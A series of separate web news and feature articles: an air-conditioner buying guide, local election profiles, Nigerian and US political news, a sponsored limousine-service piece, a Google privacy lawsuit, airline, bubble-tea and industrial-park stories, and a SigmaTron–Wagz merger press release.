5,000 BTU 115V Window-Mounted Mini-Compact Air Conditioner FRIGIDAIRE amazon.com $149.99 Shop Now

If money isnt a big concern, you might be tempted to err on the side of going big, but that can backfire if your air conditioner ends up powering on and off all day. Not only is this irritating, since window air conditioners often make more noise than central air, but its also energy inefficient: The unit will use the most energy when powering on, and if it does that multiple times per day, you might end up using several times more energy than necessary, which hurts both your electricity bill and the environment. Its best to properly approximate how much space you want cooled and go from there.

25,000 BTU 230-Volt Window-Mounted Heavy-Duty Air Conditioner Frigidaire homedepot.com $749.00 Shop Now

For example, this 5,000 BTU Frigidaire unit is small, compact, and can cool up to 150 square feet -- perfect for a small, single room, or a cozy studio apartment. On the other side of the spectrum is this massive 25,000 BTU Frigidaire unit, which is rated to cool 1,600 square feet -- like a large dining room, living room, or an extended hallway.

But dont buy just yet! Theres a little more to consider.

Decide how many air conditioners you want

Generally speaking, a window A/C can effectively cool one room, but depending on the layout of your home, you might be able to cool multiple spaces with one unit.

Small Whole Room Air Circulator Fan Vornado walmart.com $44.99 Shop Now

You want to consider the size of the doorways between the rooms, how close the rooms are, and whether you can set up floor fans to circlulate the air through your home. Two smaller units can be less efficient if youre running them both all day, but can also be more efficient if you end up cooling only one room at a time -- and theyre going to be more effective. One large unit can be more efficient than two smaller ones as long as its not underpowered for the space.

Finally, youre going to want to consider the size as a matter of inconvenience. These things get heavy -- especially the really big ones -- and if you hope to install them yourself or remove them from the window during winter, that might be a good reason to go with multiple small units rather than one large one. And on that note:

How to install your air conditioner

While its certainly possible to install one yourself, we do not recommend it -- there are too many ways for one slip up to result in an injury, and simply having an extra set of hands (even if theyre not particularly strong) can remove that risk.

Installation goes as follows:

Install your support brackets -- its hard to tell what units will need them, so our call is that if you have any concerns at all about the unit falling out of the window, put some brackets in there. They arent that expensive, and they can prevent serious injury. Place the unit in the window. Push it out nearly as far as it will go -- theres usually a lip at the top of the unit that connects to the sliding window above. Remember to tilt the unit, slightly, away from your home -- this allows the condensation to drip out. If you dont tilt the unit, water will collect inside, mold will grow, and your cold air will start to smell really gross.The unit will come with specific instructions for any side-paneling and support, and you should definitely defer to those if they contradict the suggestions here. Install the plexiglass, foam tape, and other sealant. The more careful you are with this part, the more efficient and effective your unit will be.

And thats it. As far as home improvements go, this is on the easier side of the spectrum, and guarantees youll have a more comfortable, pleasant summer.

To finish off, here are some of the top rated air conditioners from online retailers:

hOmeLabs 8,000 BTU Window Air Conditioner

TaoTronics TT-AC001 Window Air Conditioner 10000 BTU Window AC Unit with Remote Control

Frigidaire Energy Star 25,000 BTU 230V Window-Mounted Heavy-Duty Air Conditioner

GE 6,050 BTU 115-Volt Electronic Room Window Air Conditioner with Remote

GE 12,100 BTU 115-Volt Smart Window Air Conditioner with Remote in Gray

GE 18,000/17,600 BTU 230/208-Volt Smart Window Air Conditioner with Remote in Gray

GE - 250 Sq. Ft. 6,000 BTU Window Air Conditioner

GE - 450 Sq. Ft. 10,000 BTU Smart Window Air Conditioner

Keystone - 1000 Sq. Ft. 18,500 BTU Window Air Conditioner and 16,000 BTU Heater
Democratic candidates Rickey Dansby and Dr. Jonathan Goodman II have filed for the Bamberg County Council District Five seat.

The two will meet in the June 9 Democratic primary. No Republican filed for the seat.

Incumbent Democrat Isaiah Odom is not seeking re-election.

Jonathan Goodman II

Goodman works as an assistant principal at Richard Carroll Elementary School in Bamberg. He has an undergraduate degree in electrical engineering and a masters degree and a doctorate in business.

Goodman said he is seeking election because he wants to bring change.

I want to be a catalyst for change in the county and the constituents in my area. I just think that the community needs change, Goodman said.

Goodman detailed his experience relevant to the council position.

I grew up here in Bamberg, Denmark, and throughout the travels and experiences, decided to come back about 12 years ago and all I see is a downward spiral of the community. Businesses are closing, taxes are high, people are leaving, no influx of new business to kind of offset the individuals who are living heres taxes, and it seems that we are stuck in a cataclysm that will not allow us out, Goodman said.

Goodman believes he is the best candidate for several reasons.

As far as being a bridge, I grew up and I have roots in Denmark and ties in Bamberg. So, the community, unfortunately, has been divided for a long time. The inroads to bridging that gap would be somebody who has ties to both communities, and that is something that I possess, Goodman said.

If elected, Goodman said he has several goals he would like to accomplish.

Goodman said he would try and evaluate ways to reduce countywide taxes. And bridging the divide between Bamberg and Denmark. We are too small of a county for there to be a disparity between the two towns as such, and I would like to see where were working together to improve the county, as opposed to working in sovereign and the county becomes an afterthought.

One of the things I would like to establish is an educational alliance. We have two HBCU (historically black colleges and universities) colleges here in the county that need to be utilized. ...

I think industry is key, and we have to be meticulous about the industry because I want Bamberg County to continue to have the mystique of a small county, but I want it to be a successful small county. I dont want it to grow leaps and bounds where we have one of the largest counties in South Carolina because I think it would lose the lure of a small county, Goodman said.

Goodman said he wants industry in place that will support the county, the citizens of the county, and make it sustainable.

Goodman said he would also like to address the countys unnecessary spending and be accountable to his constituents and the people who call the county home.

Goodman detailed the countys tax burden, which he says is affecting the citizens.

The burden is Bamberg is one of the highest-taxed-per-capita counties in the state, which makes it difficult to own property, to own resources here. A part of that is to look at it from different angles. One, get spending under wraps, and two, try and create attractive packages where industries who come in to offset the tax burden of the county, Goodman said. Those are things that are not going to happen overnight, but its going to be a process."

Goodman also assessed the current county council and Bamberg County Administrator Joey Preston.

And theyve done some things that they can look back and say we did pretty good with that one. Im not going to judge or say they could have done this better, but some of the things theyve done, its impacted the county in a positive way. It would be my goal as a council to try and have more wins so that the county would be impacted more frequently in a positive way, Goodman said

Goodman stated that he does not know Preston personally, and he hopes to develop a relationship with the administrator that will propel the county to the forefront of success.

Goodman noted that he is involved in the community, most recently participating in food giveaway efforts with Foodshare SC in Bamberg.

Rickey Dansby

Bamberg County Council District 5 candidate Rickey Dansby was not available for an interview when this preview of the election ran initially. His 100-year-old mother was ill in Atlanta and later transitioned. He later responded to questions from The T&D.

Dansby is owner of Dansby Townhouse Apartments in Denmark.

He retired from the U.S. Postal Service in 2015 after 37 years. He served the post offices in Atlanta and Denmark, and served as the acting postmaster for Neeses and Rowesville.

Dansby earned an undergraduate degree in biology, minoring in health and safety education from the University of Georgia and an associates degree in building construction from Denmark Technical College.

Dansby stated that he is running for office to make a difference in the community.

With the background that I have, Ive prepared for this moment. Being a mailman, I retired as a city letter carrier, and interacting with the community on a daily basis, I was able to do my own needs assessment, or see some of the things that would make the community a better community, Dansby said.

I have a vested interest because Im a business owner as well. I have an eight-unit townhouse apartment, Dansby said.

Dansby detailed his experience relevant to the position.

Im currently on the Bamberg County Tax Appeal Board, Im the president of the Denmark Lions Club and I received a proclamation from the South Carolina House of Representatives for the achievements Ive done in the community, Dansby stated.

Dansby feels he is the best candidate for several reasons.

I feel that Im the best candidate because of my experience interacting on a daily basis with the community to assess their needs. With me being the age I am, Ive been seasoned as far as experience. I was blessed to have a mother who lived to 100 years of age, and she was able to pass a lot of that wisdom about life to me, about life experiences that I use on a daily basis, Dansby said.

His top goal, if elected, is improving education.

Education is the basis for everything. That would create quality students and interacting with our resources that we already have. We have two colleges in Bamberg County. We have Denmark Technical College and Voorhees College. Collaborating with them, it would be like a two-fold thing. With education in the high schools, you would hopefully be able to retain those same students in the Bamberg community, keeping the money there, therefore helping lower the millage in the area. Thats one of the biggest problems and one of the things we need to work on, is education, economic development, Dansby said.

He said he would not move for changes until hes assessed the situation.

I go by what I see, and evaluate it myself and move from there, Dansby said.

The county needs lower taxes, he said.

I would say we have some of the highest taxes probably in the state, so we need to lower that, Dansby said. That would help encourage businesses to come to Bamberg County.

One of the selling points would be lower taxes, and the other selling point would be we have two colleges here that can educate and help the business. Most people cant offer that, Dansby said.

Dansby didnt comment on County Administrator Joey Preston. He said he will assess the situation and move forward.

The past is a growing tool. That past is the past, we need to concentrate on moving forward and seeing whats better, Dansby said.

He feels the current council has been effective, but there is always room for improvement.

Thats where I hope to play a significant role, is assessing, doing my own assessment of what has been done and what needs to be done. And I always believe in the team concept, Dansby said.

Dansby noted that he is involved in many community activities, including serving as the president of the Bamberg County Lions Club, working as a sports coach and serving as a mentor.

Contact the writer: bharris@timesanddemocrat.com or 803-596-6530

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The Nobel Laureate, Wole Soyinka, has said that President Muhammadu Buhari is not in-charge of Nigeria.

I dont really believe theres anybody in-charge at Aso Rock, Mr Soyinka, a critic of Mr Buharis administration, said on Thursday in an interview with Plus TV Africa.

I am sorry to say this, but I have been studying the trend over the past year and a half and I believe that this president is not in-charge of this nation.

Mr Soyinka supported Mr Buharis election in 2015 but turned against him before the 2019 election after he repeatedly accused Mr Buhari of poor performance and maladministration.

In his recent interview, Mr Soyinka commended Abubakar Umar, a retired army colonel and former military governor of Kaduna State, for his recent open letter to Mr Buhari, criticising the lopsided appointments made by the president.

In the letter which has been published by PREMIUM TIMES, Mr Umar warned the president that Nigeria risks sliding into crisis if he continues to give undue preference to some sections of the country over others in national appointments.

Thank goodness for people like Umar, he has the tendency to hit the nail hard and go to the point factually, without self-interest, Mr Soyinka said of the retired colonel.

I mean there are all kinds of letter-writers but Colonel Umar, for me, is one of the really serious letter-writers, without self-interest, without self-serving in any way.

Mr Soyinka said lopsidedness in appointments is an insult on entire Nigeria and that such is also glaring in the ministry of petroleum which is headed by the president himself.

We havent quite got over yet the Delta unrest, he said, apparently referring to the lack of infrastructural development in the region which produces Nigerias oil.

I think those who are responsible for this criminal lopsidedness should be punished. It is not sufficient to discuss it and to say restructuring, he added.

He said Mr Buhari, being the minister of the indicted petroleum ministry, should have addressed the nation on the issue.

We know the history of this and we know what it has cost the nation. And we know that it isnt over yet.

You say you are launching an inquiry, thats not enough. This man is not in-charge.
Last month, the Trump administration completed a rollback of that Obama mercury rule that discounted such co-benefits.

Now, Mr. Wheeler has proposed extending that measure by eliminating or reducing the emphasis on co-benefits across all new Clean Air Act regulations. This year, he is expected to propose a similar revamp of the cost-benefit formulas that govern clean water and chemical safety regulations.

Mr. Wheeler said that the E.P.A. would still calculate the economic value of such co-benefits. But he said those calculation would no longer be used in defending rules. Co-benefits would not be used to justify the rule, he said in a telephone call with reporters, noting specifically that the change would mean that regulations like the Obama-era mercury rule would no longer be defensible.

The way the Obama administration used co-benefits to calculate the mercury rule and other rules  they were playing a shell game, he said.

Historically, the economic costs of regulating pollutants such as mercury or planet-warming greenhouse gases often do outweigh the direct benefits. But such rules also tend to lower emissions of another deadly pollutant: fine industrial soot, also known as particulate matter.

By reducing emissions of the tiny, lung damaging particles known as PM 2.5, clean air rules that are primarily aimed at controlling different pollutants can have the effect of saving thousands of lives by lowering rates of asthma and lung disease. And, last month, researchers at Harvard released the first nationwide study linking long-term exposure to PM 2.5 and Covid-19 death rates.

At a time when more than 100,000 Americas have died from Covid and we know about this connection, the Trump administration is going to put in place some analytical techniques that will make it easier for them to kill more Americans, said Richard Revesz, an expert on environmental law at New York University.
After hours on a flight and probably tormented by jetlag, many want a drama-free ride, likely with a gentle acoustic ballad in the background.

What better way to realise this than through comfortable conveyance services? Chauffeured and stylish limousine services, handled deftly and assuredly, is a luxurious travelling alternative for clients looking for comfort and ideal simplicity.

Capital Limo offers stylish and cost-effective movement means between JKIA and your destination in Nairobi and its environs. Photo: Capital Limousine Services Ltd.Kenya.

Source: UGC

Jomo Kenyatta International Airport (JKIA) is Kenya's premier airport. Therefore, you need to have an enthralling and prime transportation option.

That is what Capital Limo offers  a sophisticated, stylish and cost-effective movement means. Now imagine making your movement plans through an application. It is an instant, contactless and effective hassle-free strategy that makes immense sense.

It is a new era of technological innovations and with numerous apps offering cross-platform operability, why not associate yourself with a reliable limousine firm with this critical objective? With a platform that allows you to make hotel booking as well as limousine booking, the services are just incredible.

If you are looking for a new and positive tone, instead of dreading every landing, utilise an app. You will love the difference in a seamless and sophisticated airport transfer service.

Apart from booking your classy ride, Capital Limo Services also allows you to make a hotel reservation. Photo: Capital Limousine Services Ltd.Kenya.

Source: UGC

Capital Limo services background

Your travelling ought to happen without a hitch, and if you are planning on utilising a luxury airport limousine services, better have all the facts at hand.

Capital Limo Services is a renowned firm offering airport transfers, hotel bookings, and meet and assist services at JKIA.

If you are travelling, to and from Kenya, Capital Limo is the ideal, all-inclusive service provider for all your needs.

Their chauffeured limousine services are unmatched in the industry, giving dependable transportation services to all clients.

If you are travelling, to and from Kenya, Capital Limo is the ideal, all-inclusive service provider for all your needs. Photo: Capital Limousine Services Ltd.Kenya.

Source: UGC

The company has a massive fleet consisting of sleek stretch limousines, saloon cars, and buses. If you prefer self-driving instead of chauffeur services, they have the ideal automobiles perfectly customised for this.

Their services are tailored to meet every client's needs, and with an incredible experience in the industry, they have proven to be extremely reliable.

The firm has more than eight years of experience in the industry. And with an app that helps clients discover the best rates on hotels, book chauffeured limousines, car rentals, and Safari packages; their services are perfect.

Memorable trips under ideal conditions

Do you prefer champagne or some classy vodka served on the rocks while on the move? Photo: Capital Limousine Services Ltd.Kenya.

Source: UGC

What's your travelling preference? Do you prefer champagne or some classy vodka served on the rocks while on the move? Capital Limo creates custom rides for its clientele, on request of course.

Additionally, hygiene is one of their biggest priority, every automobile undergoing thorough clean up before being used by another client.

As the world is struggling with a pandemic, Capital Limo has gone even further to sanitise after every use. Therefore, whenever you get a limousine to pick you up, you are satisfied that it's clean and fresh.

Airport transfer service

The company sanitises each vehicle after use by every client. Photo: Capital Limousine Services Ltd.Kenya.

Source: UGC

Capital Limo limited, through Capital Concierge, has availed a more natural way to facilitate airport transfers.

So, no more wasting of precious time waiting around for expensive and ineffective cabs. Through the app, you can book your limousine and have a convenient way of travel.

Whether you are going on a one-way or round trip, for business or pleasure, you can make your movement reservation through Capital Concierge.

You do not have to worry about meeting points. These limousines can pick you up at your desired curbside spot, which is quite common in airports.

With the meet and greet feature on the application, your travel arrangements get a personal touch. The limousine's representative can meet you on arrival, help you with your baggage, and quickly escort you to the waiting limo. It is a smooth and seamless process that ascertains you enjoy your trip.

Ease in booking hotels

Make your movement reservation through Capital Concierge. Photo: Capital Limousine Services Ltd.Kenya.

Source: UGC

You have just arrived at JKIA and are wondering where to spend the night. Do not worry, Capital Concierge has your back, and you can make a booking while in transit.

The application has an interactive hotel booking platform that provides clients with all available hotels in their vicinity.

So, if you are looking to visit the Maasai Mara or embark on a Safari to Tsavo National Park, Capital Concierge app got your covered.

You can browse a vast collection of hotels on your mobile phone, and even access hot and latest home travel deals.

Even if you are looking for a weekend getaway or a business trip, you can find the ideal location from the app's database.

Whether you are going on a one-way or round trip, for business or pleasure, you can make your movement reservation through Capital Concierge app. Photo: Capital Limousine Services Ltd.Kenya.

Source: UGC

Search several hotels using landmarks or hotel names; you are sure to find something enticing.

After a smooth journey and having landed, it makes no sense to foul up your settlement or accommodation.

Instead of aimlessly traversing the city, looking for a spot to rest for the night, utilise Capital Concierge hotel booking platform.

And best of all, you will be chauffeured in a comfortable limousine; luxury all the way. If you feel like switching your reservation, the entire process is free, no charges whatsoever.

Capital Limousine Services also has cars that you can book for selfdriving between JKIA and your destinations. Photo: Capital Limousine Services Ltd.Kenya.

Source: UGC

READ ALSO: Amazing platform for booking cheap flights sets shop in Kenya

Looking for a rental? Get yourself a comfort ride

Browsing of care rental inventory has never been easier. With the Capital Concierge app, under Capital Limo's sophisticated airport transfers system, an independent traveller can facilitate their movement through a rental.

The process is straightforward  state your location and destination, and you get an automobile customized for your taste.

Capital Limo has a vast fleet of sleek limousine rides that you can hire and enjoy luxurious travel from JKIA to your desired destination.

Leasing is a good idea for people looking for autonomy in their movements, an affordable and convenient option for numerous clients.

Embark on your Safari in style

Capital Limo has a vast fleet of sleek limousine rides that you can hire. Photo: Capital Limousine Services Ltd.Kenya.

Source: UGC

A trip in Kenya would not be complete without a visit to any national park or game reserves that are popular tourist attraction sites. Also, if you are a local, why not explore the countrys heritage and global attractions?

A Safari is excellent when you reside in affluent accommodation and travel in style. After all, it is a lavish excursion, probably a time away from your busy schedule.

Fortunately, you can explore the vast collection of hotels in these remote areas using the secure booking platform of the Capital Concierge app. Do not worry about payments, the pay later option gives you the benefit of the doubt.

A limousine is a first-class travelling option, backed up by professional drivers, a service that will leave you with lasting impressions.

Now, forget about the random picks, you have an application that allows you to book your ride, and even choose your hotel while in transit.

With such an all-inclusive service, Capital Limo Ltd has proven to be a reliable firm  a giant in a populated market. The Capital Concierge app is a cross-platform software, easily accessible on both Android and iOS.

So, the next time you are travelling or about to land at JKIA, access the app and facilitate all your bookings at one spot.

READ ALSO:

Limousine meant to ferry bride to Church on wedding day stolen in Mombasa, recovered in Nairobi

Fire razes down 3,500 rental cars at Florida Airport

Buupass crowns its travel routes with new luxurious bus

Source: TUKO.co.ke
Kids Using iPad

Flickr / Jim Bauer

In February, New Mexico's attorney general sued Google over allegations it is breaking privacy law by collecting personal data of children using its Google Education tools.

Google has filed a motion to dismiss, seen by Insider, arguing that it follows US. law in gaining parental consent when schools are using G Suite for Education tools.

The lawsuit said Google Education tools are "spying" on families.

New Mexico AG Hector Balderas accused Google of saving passwords, browser history.

Visit Business Insider's homepage for more stories.

Google has filed a motion to dismiss a lawsuit filed by New Mexico Attorney General Hector Balderas against the company in February, saying the company has broken federal and state laws by collecting personal data without parental consent through its G Suite for Education platform.

In the motion to dismiss, filed late Thursday in the US District Court in Albuquerque, Google argued that it is following the law that protects children's privacy in the US, the Child Online Privacy and Protection Act (COPPA) along with New Mexico's Unfair Practices Act.

It's the latest face-off between Google and a state attorney general who has accused the company of misleading users and siphoning data illegally  at the same time that a group of state AGs pursue an antitrust investigation of the tech giant.

Google stated in the motion that its practice of obtaining schools' consent for use of the software rather than individual parental consent "makes good sense" and aligns with Federal Trade Commission policy. Balderas' complaint does not allege any New Mexico schools failed to get parental consent from parents before using the Google Education software, Google said in the motion.

In a blog post published Thursday, Google for Education product manager Zach Yeskel wrote that G Suite for Education has two categories: one that runs advertisements with more Google features such as Google search and Google books, and one that does not which has services like Gmail, Google Calendar, Google Docs and Google Classroom.

Story continues

"The Attorney General's COPPA claim thus fails as a matter of law. The Attorney General's state law claims fare no better," the motion to dismiss read. "The central allegationthat Google's practices for obtaining parental consent violate COPPAfails as a matter of law because the challenged practices comply with authoritative federal guidance."

New Mexico's February lawsuit said the search giant "secretly uses Google Education as a means to monitor children while they browse the Internet" and that the company is trying to get around its own rule that children under the age of 13 in the US cannot have Google accounts by using Google Education.

The state argued that complying with US children's privacy law goes beyond not running advertisements. The lawsuit said a Google Chrome "Sync" function is turned on by default when students log onto their Chromebooks or onto Chrome on a family computer, collecting more data.

"The consequences of Google's tracking cannot be overstated: children are being monitored by one of the largest data mining companies in the world, at school, at home, on mobile devices, without their knowledge and without the permission of their parents," according to the lawsuit.

Last September, Google paid $170 million to settle allegations with the Federal Trade Commission and the New York attorney general that YouTube collected children's personal data without parental consent. That was the largest amount the FTC had ever obtained in a case related to the children's privacy law. A coalition of state attorneys general, including Balderas, is also investigating Google over possible violations of antitrust law, as the Department of Justice works on its own case.

Google signed a student privacy pledge developed by technology and privacy trade groups in 2015, which Balderas alleged it is breaking. Google writes in its motion to dismiss that the enhanced Google Education tools are not governed by this pledge. Balderas filed another lawsuit against Google and others in 2018 related to illegal data collection.

Read the original article on Business Insider




Haiti - Economy : Spirit Airlines announces the resumption of its international flights in July





Spirit Airlines announced on Wednesday that it plans to more than triple its current service from South Florida by July.



"The return of many of the low-cost airlines pre-pandemic flights to its home base at Fort Lauderdale-Hollywood International Airport came sooner than expected as demand has taken off," said John Kirby, Spirits vice president of network planning.



Recall that Spirit Airlines had reduced its operations to less than 10% of its capacity in May and will be back in July with around 70% of its capacity compared to the same period last year.



Spirit will have flights in June from Fort Lauderdale (FLL) to 32 destinations including the international cities of Guayaquil (Ecuador) and Saint Thomas and St. Croix (US Virgin Islands).



In July, Spirit Airlines plans (pending approval of flights by the countries concerned) to add FLL flights with 13 additional international destinations, including Jamaica and Haiti. The company also plans to add Puerto Rico to its service



HL/ HaitiLibre


















Wednesday, June 3, 2020

Bubble tea, also called pearl tea, or boba tea, is a flavored milk tea with chewy tapioca beads. Sounds modest enough, right? The demand for this beverage, however, is anything but modest. Valued at $1.89 billion (USD) in 2018, the global bubble tea market is projected to reach $3.49 billion (USD) by 2026. So, how did a mere variation on classic tea capture this much of the global market share?

Food Fashion

Social media is an easy way to gauge this fads popularity. Instagram is full of pictures of delicious food, and beverages often have dedicated hashtags. Plus, its now customary to share nearly every meal on social media before consuming it. In a culture that looks at what you eat the way it looks at what you wear, food has become just as fashionable as clothing.

Whats in your pantry or on your plate has become a form of self-expression, much like a fabulous pair of Christian Louboutins. Just as the label fashionista evokes an entire lifestyle, so, too, does the term foodie, writes famous television host and entrepreneur Martha Stewart in a blog for HuffPost.

This phenomenon is not new, of course. In an article written for the New York Times almost four decades ago (De Gustibus; Fashions in Food, Like Those in Clothes, Follow the Trends), food critic Mimi Sheraton talks quite candidly about food fashion.

It is probable that many people, anxious to be seen eating the right thing in the right restaurant, are swallowing hard-to-down rare fish, almost raw vegetables, white chocolate mousse that tastes like sweet fat and exotically aromatic seasonings they secretly consider to be as appealing as moth balls, writes Sheraton.

While that sentiment might be true, there is no denying that food fashion is a huge economic driver. It has helped build numerous billion-dollar industries, including the bubble tea market.

The Rise of Bubble Tea

Bubble tea originated in Taiwan, China, in the 1980s. The most popular version is said to have originated in Chun Shui Tang tea shop in Taichung, Taiwan, China, where the owner, Liu Han-Chieh, experimented with milk tea by adding it in a cocktail shaker with ice. At that time, no one served chilled tea, and the concoction went on to become extremely popular with the younger crowd. They called it bubble tea because of the thick foam layer that formed on top. In 1987 Han-Chieh held a competition for his staff members and asked them to come up with creative beverage variations. Lin Hsiu Hui, the store manager, added tapioca balls to milk tea and created the version now popular across the globe.

From its nation of origin, bubble tea quickly spread to several other Asian countries and communities. It burst onto North Americas food scene in waves but hit the mainstream around 2014 and is now considered a mainstay. Its phenomenal growth is partly tied to the simultaneous rise of foodies on social media, who are notoriously partial to foods visual appeal.

Researchers who study food cultures attribute another factor to bubble teas success. By introducing and marketing the product toward working professionals, it gave the drink a kind of stature. Krishnendu Ray, assistant professor of food studies at New York University, explains in an article published in the South China Morning Post: One of the attractive things about bubble tea is the fact that it is spreading to the middle class, professional classes, so it has a lot more prestige at the very beginning compared to food associated with poor working-class Chinese, which is what I call a hierarchy of taste. The higher the class your food is, the easier it is to circulate in global circuits and acquire prestige.

Riding on Bobas Success

Many organizations grew out of bubble teas success. This includes franchises that serve boba to customers, as well as manufacturers that make the material and equipment for the tea.

Strong competition in the bubble tea market drives these manufacturers to experiment with flavors and to improve the quality of the boba they produce. Jasmine milk tea, avocado milk tea, and mango green tea are just a few of many great variations.

A Stevie-winning boba manufacturer is Empire Eagle Food Co., Ltd., which is based in Taichung City, Taiwan, China. They help businesses serve bubble tea by guiding them from the initial concept stage to sampling to making the final tapioca drinks. Conceding there are several other players in the market to compete against, Mindy Jen, co-founder and chief marketing officer (CMO) at Empire Eagle Food Co., Ltd., says they outstrip competition by treating bubble tea like the food fashion culture that it is.

Even though bubble milk tea is a traditional drink, our team believes bubble milk tea is not only a Taiwanese local drink but a fashion culture, just like all the different fashion industries, she says. Therefore, we change our marketing strategy and products all the time to fit the quick changes in the industry.

Its anyones guess whether bubble tea is here to stay or will fade like so many fads before it. For now, though, many people count it as their favorite beverage, and that is all that matters.

Jen won a Silver Stevie Award in the Female Executive of the Year - Business Products - 11 to 2,500 Employees category at The 2019 Stevie Awards for Women in Business.

Interested in entering the 2020 Stevie Awards for Women in Business?
By Express News Service

BHUPALPALLY: Police registered a case against District Medical and Health Officer (DMHO) of Jayashankar-Bhupalpally on charges of sexually harassing a doctor working at Chelpur PHC in Ghanapur mandal.

The doctor lodged a complaint with the police on Thursday, demanding action against the medical officer for sexually harassing her.

When Express contacted the DMHO, Dr N Gopal Rao, he said that the woman doctor was making false allegations against him.

Recently, after receiving plaints that she was irregular and had misbehaved with the staff, I visited the PHC for a surprise inspection. However, she was not on duty.

We decided to take action against and this is perhaps why she is making baseless claims, he said and added that he would cooperate with the police in the probe.
[June 05, 2020]

Key industrial parks unveiled in Hainan free-trade port

HAIKOU, China, June 5, 2020 /PRNewswire/ -- A batch of key industrial parks were unveiled on June 3 in China's island province of Hainan, in an effort to promote the construction of the Hainan free-trade port.

The 11 key parks around the island cover three major fields, including tourism, modern services and advanced technologies.

"The industrial parks are important areas to illustrate trade and investment policies, pilot fields for bold trials, innovations and reforms and a new highland for reform and opening up," said Liu Cigui, secretary of the CPC Hainan Provincial Committee.

Liu said the key industrial parks are expected to play a leading role in the construction of the free-trade port.

On the same day, the first batch of service stations for Hong Kong, Macao and Taiwan compatriots as well as overseas Chnese were established in five key industrial parks of Hainan Free Trade Port, including Haikou Jiangdong New District, Yangpu Economic Development Zone, Boao Lecheng International Medical Tourism Pilot Zone, Sanya Yazhou Bay Science and Technology City, and Hainan Ecological Software Park.







The service stations are under the unified guidance of the United Front Work Department of Hainan Provincial Committee of the Communist Party of China, with the aim to provide business consultation and coordination guidance for Hong Kong, Macao and Taiwan compatriots as well as overseas Chinese who come to Hainan to invest and start up business, so as to boost the implementation of relevant policies of the Hainan Free Trade Port.

At present, there are 3.9 million overseas Hainanese in more than 60 countries and regions. About 400 thousand Hong Kong and Macao compatriots are from the hometown of Hainan, There are more than 3,000 Taiwanese compatriots and over 1,500 Taiwan-funded enterprises in Hainan.

China on Monday released the development plan for the Hainan free-trade port, aiming to build Hainan into a globally influential, high-level, free-trade port by the middle of the century.

View original content:http://www.prnewswire.com/news-releases/key-industrial-parks-unveiled-in-hainan-free-trade-port-301071229.html

SOURCE The CPC Hainan Provincial Committee
Here are todays top news, analysis and opinion. Know all about the latest news and other news updates from Hindustan Times.

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Army personnel dies in ceasefire violation in J-Ks Rajouri

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Defence leaders say no to Trumps troops idea

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Chintu Ka Birthday movie review: Vinay Pathak, Tillotama Shome film feels like a bite of sugary cake during these bleak times

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UP cop leads cavalcade of vehicles, suspended for violating lockdown norms

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Reliance Jio platforms raise 9,093.60 crore from Abu Dhabi-based investor Mubadala

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ELK GROVE VILLAGE, Ill. and PORTSMOUTH, N.H., June 04, 2020 (GLOBE NEWSWIRE) -- SigmaTron International, Inc. (SGMA), (SigmaTron) an electronic manufacturing services company, and Wagz Inc. (Wagz), a privately held Pet Technology(Pet Tech) company, today announced that they have executed a Letter of Intent (LOI) relating to a proposed business combination. Subject to the terms and conditions set forth in the LOI, SigmaTron would issue approximately 2,270,000 new shares of SigmaTron stock that would result in the Stockholders of Wagz owning approximately one-third of the combined company. The expectation is that the deal will be closed by the end of August 2020 and it remains subject to achievement of certain milestones and satisfaction of conditions by both parties prior to closing such as finalizing a material definitive agreement and SigmaTrons raising of additional capital that it projects will be needed for the expanded operations in the amount of at least $7.5M.

BUSINESS COMBINATION:

The Pet Tech market has grown tremendously over the past 10 years. According to business insider the global pet care market is expected to grow to $281B by 2023 with Pet Tech, its fastest growing segment, expected to reach $24B by 2024 ( Business Insider Article ) . According to Forbes, pet ownership has grown from 56% of US households to 68%, largely driven by tech savvy millennials who welcome and utilize modern technology to improve the health and well-being of their pets (Forbes Article ). Wagz has been an innovator in the pet technology market, modernizing pet containment with satellite based geofence pet containment technology that is humane and does not rely on shock. Wagz developed technology that transforms a pet owners cell phone into an invisible leash and Wagzs products integrate Alexa and artificial intelligence to monitor and enhance overall pet health.

SigmaTron and Wagz have developed a relationship over the last two years working together to manufacture part of Wagzs product portfolio. Earlier this year, Wagz was awarded a significant contract to design and produce a new, innovative and revolutionary smart dog collar for a major mobile carrier. In addition, in a three-way announcement with Sprint, Telstra and Wagz at the 2020 Consumer Electronics show, Wagz announced it was incorporating the Sprint Curiosity IoT platform and will be launching its smart dog collar in Australia later this year ( Sprint Press Release ). Significant interest in Wagz products has been expressed from mobile carriers globally, and it became clear that having a tighter integration with its supply chain, the ability to respond to growing demand, scalability and high-quality standards made the decision easy for Wagz to approach SigmaTron regarding a potential partnership.

Story continues

SigmaTron, for its part, recognized that the Pet Tech sector fits well with its highly scalable global assembly and manufacturing capabilities. We believe incorporating a high margin recurring revenue model that is the basis for the Wagz business model will add to revenue predictability and also enhance profitability over time as the combined company rolls out the planned products. The Wagz Smart Collar is very similar to a mobile phone in terms of its business model including a monthly recurring fee to track location, health and wellness data. Additional incremental revenue streams from in-app purchases and data analytics will be a compelling addition to SigmaTrons core business. Because of this, management believes additional stockholder value will be unlocked as the combined company expands with a fully integrated solution.

Commenting on the proposed transaction, Gary R. Fairhead, SigmaTrons President and Chief Executive Officer, said, Over the last two years we have become immersed in the Pet Tech market with Wagz as our customer. We have been impressed with the growth of the Pet sector and data shows it is practically recession proof. Recent reports indicate that pet ownership during Covid-19 has increased, accelerating what was already a very strong market. Having worked closely with the management team at Wagz and gaining a great deal of respect for their capabilities, we felt that there was a significant opportunity to partner with them and enter that market. Wagz would benefit from our ability to provide world class manufacturing services through our global footprint and supply chain, and SigmaTron would benefit from new high margin recurring revenue, thereby bringing mutual value to the combination and driving stockholder value.

Terry Anderton, Founder and CEO of Wagz, added Wagz, with its recent selection by one of the largest mobile carriers to provide them the Wagz Smart Collar to sell, and on the heels of the announcement at CES with product expansion into Australia, faced significant challenges in building out sufficient inventory and developing a highly optimized supply chain. We currently expect the design of the collar to be finished by the end of June. SigmaTron was a logical partner, and we are excited about the opportunities this combination brings to both companies. It also provides the opportunity for the Wagz investors to obtain a publicly traded stock for their investment in Wagz that we believe has significant upside.



He continued, Wagz will be a stand-alone operation of SigmaTron. As we build our brand and product line, we believe that the IoT nature of our Ecosystem of Pet Tech products will bring significant opportunities to the combined company. We will be able to leverage SigmaTrons size and manufacturing expertise to continue to launch revolutionary products into the Pet Tech market.



In closing, Fairhead added, While SigmaTron plans to continue in its traditional electronic manufacturing services market and to grow its position in that market, I am also excited about the addition of a separate product line for an emerging technology marketplace.

The McLean Group serves as financial advisor and Barnes and Thornburg LLP serves as legal advisor to Wagz. Howard & Howard Attorneys LLP serves as Corporate Counsel to SigmaTron.

